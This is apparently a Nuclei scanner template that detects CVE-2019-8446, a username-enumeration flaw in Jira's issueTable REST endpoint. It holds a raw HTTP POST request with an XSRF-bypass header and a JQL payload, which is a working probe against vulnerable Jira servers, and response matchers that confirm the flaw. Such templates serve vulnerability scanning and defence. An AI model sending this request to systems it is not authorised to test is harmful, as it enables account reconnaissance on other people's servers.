id: CVE-2019-8446 info: name: Jira Improper Authorization description: The /rest/issueNav/1/issueTable resource in Jira before version 8.3.2 allows remote attackers to enumerate usernames via an incorrect authorisation check. author: dhiyaneshDk severity: medium tags: cve,cve2019,jira requests: - raw: - | POST /rest/issueNav/1/issueTable HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 Connection: Close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 X-Atlassian-Token: no-check Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 {'jql':'project in projectsLeadByUser("{{randstr}}")'} matchers-condition: and matchers: - type: word words: - "the user does not exist" part: body - type: status status: - 200